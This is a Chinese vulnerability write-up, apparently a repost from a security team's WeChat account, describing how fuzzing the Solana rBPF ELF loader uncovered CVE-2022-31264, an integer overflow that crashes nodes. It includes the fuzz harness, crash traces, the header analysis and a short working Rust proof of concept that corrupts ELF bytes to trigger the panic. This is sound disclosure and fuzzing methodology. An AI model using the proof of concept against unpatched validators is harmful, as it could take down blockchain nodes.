本文内容受Addison Crump的文章:Earn $200K by fuzzing for a weekend[1]启发,其讲述了使用libFuzzer对Solana rBPF虚拟机指令集进行Fuzzing的全过程。
CVE-2022-31264 漏洞概要
在Solana rBPF ≤v0.2.28版本的elf文件解析模块中存在一个整数溢出漏洞,在解析elf地址内存映射时由于没有对段的VirtAddr
和MemSiz
的大小进行校验而导致两者相加时发生了溢出。
恶意用户可以通过部署构造过的eBPF程序(即Solana上的智能合约)触发该整数溢出漏洞,导致合约虚拟机运行时panic,造成节点崩溃,由于区块链是分布式系统,此漏洞将导致一次攻击、全链宕机,危害十分严重。
Solana rBPF是什么
Solana rBPF项目有一个非常显著的特点:其中同时实现了一个普通的eBPF字节码解释器与一个eBPF字节码的JIT编译器。也就是说,rBPF虚拟机有两个功能完全相同的、但是由项目方分别编写的虚拟机模块。理论上来说,rBPF虚拟机的这两种实现(JIT模式与普通解释器模式)应当有完全一致的运行时行为。
为何选择对它Fuzzing
对于Fuzzing来说,Solana rBPF是一个不可多得的测试场景,因为该项目自身就附带了两个功能完全一致的rBPF虚拟机模块,默认附赠了一个精准的判断程序的异常状态的标尺:对于同样的程序输入,若两个模块运行后内存、寄存器等状态不一致,那么必然某一个模块发生了问题。同时,Solana项目全栈都使用Rust语言开发,与Rust生态中已用的工具链无缝衔接,包括众多优秀的Fuzzer。使用这样两个功能相同但实现不同的模块相互对照着Fuzz的思路,Addison Crump[1]使用通用libFuzzer挖掘到了两个JIT侧的漏洞。
在学习了作者Addison Crump的思路后,笔者对rBPF虚拟机的loader模块进行了额外的测试,发现一个被原作者遗漏的整数溢出漏洞
挖掘过程
#![no_main]
use std::collections::BTreeMap;
use libfuzzer_sys::fuzz_target;
use solana_rbpf::{
ebpf,
elf::{register_bpf_function, Executable},
error::{EbpfError, UserDefinedError},
insn_builder::IntoBytes,
memory_region::MemoryRegion,
static_analysis::Analysis,
user_error::UserError,
verifier::check,
vm::{EbpfVm, InstructionMeter, Config, SyscallRegistry, TestInstructionMeter},
};
fuzz_target!(|data: &[u8]| {
let _x = Executable::<UserError, TestInstructionMeter>::load(
Config::default(),
&data,
SyscallRegistry::default()
);
}
3.准备默认的初始种子:cd corpus/fuzz-loader/ && cp ../../../tests/elfs/*.so
cargo +nightly fuzz run fuzz-loader --jobs 8 -- -max_total_time=24400
...
thread '<unnamed>' panicked at 'attempt to add with overflow', /home/ubuntu/.cargo/registry/src/mirrors.sjtug.sjtu.edu.cn-7a04d2510079875b/goblin-0.5.1/src/elf/program_header.rs:132:36
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
==40247== ERROR: libFuzzer: deadly signal
#0 0x55e7ed38cbd1 (/home/ubuntu/rbpf/fuzz/target/x86_64-unknown-linux-gnu/release/fuzz-loader+0x56ebd1) (BuildId: 04c3aeb45f9e635d8f36b20de970f7bdb030048a)
#1 0x55e7edc161c0 (/home/ubuntu/rbpf/fuzz/target/x86_64-unknown-linux-gnu/release/fuzz-loader+0xdf81c0) (BuildId: 04c3aeb45f9e635d8f36b20de970f7bdb030048a)
#2 0x55e7edc1ccaa (/home/ubuntu/rbpf/fuzz/target/x86_64-unknown-linux-gnu/release/fuzz-loader+0xdfecaa) (BuildId: 04c3aeb45f9e635d8f36b20de970f7bdb030048a)
#3 0x7f3f68ed941f (/lib/x86_64-linux-gnu/libpthread.so.0+0x1441f) (BuildId: 7b4536f41cdaa5888408e82d0836e33dcf436466)
#4 0x7f3f68bbf00a (/lib/x86_64-linux-gnu/libc.so.6+0x4300a) (BuildId: 1878e6b475720c7c51969e69ab2d276fae6d1dee)
#5 0x7f3f68b9e858 (/lib/x86_64-linux-gnu/libc.so.6+0x22858) (BuildId: 1878e6b475720c7c51969e69ab2d276fae6d1dee)
#6 0x55e7edcc5076 (/home/ubuntu/rbpf/fuzz/target/x86_64-unknown-linux-gnu/release/fuzz-loader+0xea7076) (BuildId: 04c3aeb45f9e635d8f36b20de970f7bdb030048a)
...
5.分析crash的调用栈后发现是在goblin模块中发生了panic,是加法溢出
/// Returns this program header's virtual memory range
pub fn vm_range(&self) -> Range<usize> {
self.p_vaddr as usize..self.p_vaddr as usize + self.p_memsz as usize
}
6.分析crash的样本后发现是ELF文件头中VirtAddr + MemSiz的时候溢出了
readelf -l crash...
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
LOAD 0x0000000000001000 0xff00000100000000 0x0000000100000000
0x0000000000000018 0xff00000000000018 R E 0x1000
LOAD 0x0000000000001018 0x0000000100000018 0x0000000100000018
0x000000000000000b 0x000000000000000b R 0x1000
7.与crash样本等效的最小的poc如下
use solana_rbpf::{
elf::Executable,
user_error::UserError,
vm::{SyscallRegistry, TestInstructionMeter, Config},
};
use std::io::Read;
fn main() {
let mut config = Config::default();
config.reject_broken_elfs = true;
let mut file = std::fs::File::open("./tests/elfs/reloc_64_relative_high_vaddr.so").expect("open failed");
let mut buffer: Vec<u8> = vec![];
file.read_to_end(&mut buffer).expect("read failed");
buffer[80+7] = 0xff;
buffer[96+15] = 0xff;
Executable::<UserError, TestInstructionMeter>::load(config,&buffer,SyscallRegistry::default());
/*
thread 'main' panicked at 'attempt to add with overflow', goblin/src/elf/program_header.rs:132:36
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
*/
}
8.报告给项目方后修复,漏洞编号CVE-2022-31264
总结
在挖掘智能合约漏洞的场景下,Fuzzing技术的运用与使用通用Fuzzing的过程类似,但是在异常状态判定时会与传统可执行程序的crash不同,通常一些storage变量存储发生改变往往就预示着潜在的漏洞。
在挖掘智能合约虚拟机漏洞的场景下,可以使用同一虚拟机的不同实现来进行对比Fuzz。这一点,由于区块链虚拟机分布式去中心化的特点,相同功能的一个虚拟机啊通常都会有不同语言、不同版本的不同实现,如以太坊虚拟机EVM拥有众多不同语言的实现,这些不同实现之间可以互为对照,通过使用通用Fuzzer来直接取得比较好的测试效果。
参考文章
[1] Earn $200K by fuzzing for a weekend: Part 1 https://secret.club/2022/05/11/fuzzing-solana.html
原文始发于微信公众号(长亭技术沙盒):CVE-2022-31264 Solana全链宕机漏洞及rBPF Fuzzing挖洞过程